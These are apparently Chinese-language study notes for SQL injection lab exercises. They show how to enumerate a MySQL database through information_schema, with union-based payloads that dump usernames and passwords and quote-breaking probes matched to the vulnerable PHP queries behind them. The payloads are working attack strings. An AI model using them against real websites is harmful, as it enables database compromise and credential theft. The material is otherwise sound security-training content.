Mysql 有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的,
我们利用该表可以进行一次完整的注入。以下为一般的流程。
select table_name from information_schema.tables where table_schema = "s
ecurity";
//查出security数据库的所有数据表
select group_concat(schema_name) from information_schema.schemata
select group_concat(table_name) from information_schema.tables where table_schema=’xxxxx’
select group_concat(column_name) from information_schema.columns where table_name=’xxxxx’
select group_concat(id,username,password) from table.name
加单引号 '
报错
near ''1'' LIMIT 0,1' at line 1
分析后台sql语句
'1''
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
构造poc
id=1' or 1=1 --+
分析user
表可知,存在id
,username
,password
三个字段
background
order by n
当n小于正确字段时,回显true
;
当n大于正确字段时,回显false
;
这里采用order by 3
id=-1' union select 1,2,3
//1,2,3为order by 列出的字段个数
background
当id
的数据在数据库中不存在时,前台页面返回我们构造的union的数据
id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = "security"--+
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = "users"--+
id=-1' union select 1,group_concat(id,username,password),3 from users--+
加单引号'
报错信息
near '' LIMIT 0,1' at line 1
源代码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
构造poc
id=1 and 1=1 --+
加单引号'
报错信息
near ''1 '') LIMIT 0,1' at line 1
源代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
构造poc
id=1 ') --+
加号'")"
报错信息
near '") LIMIT 0,1' at line 1
源代码
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
构造poc
id=1'") --+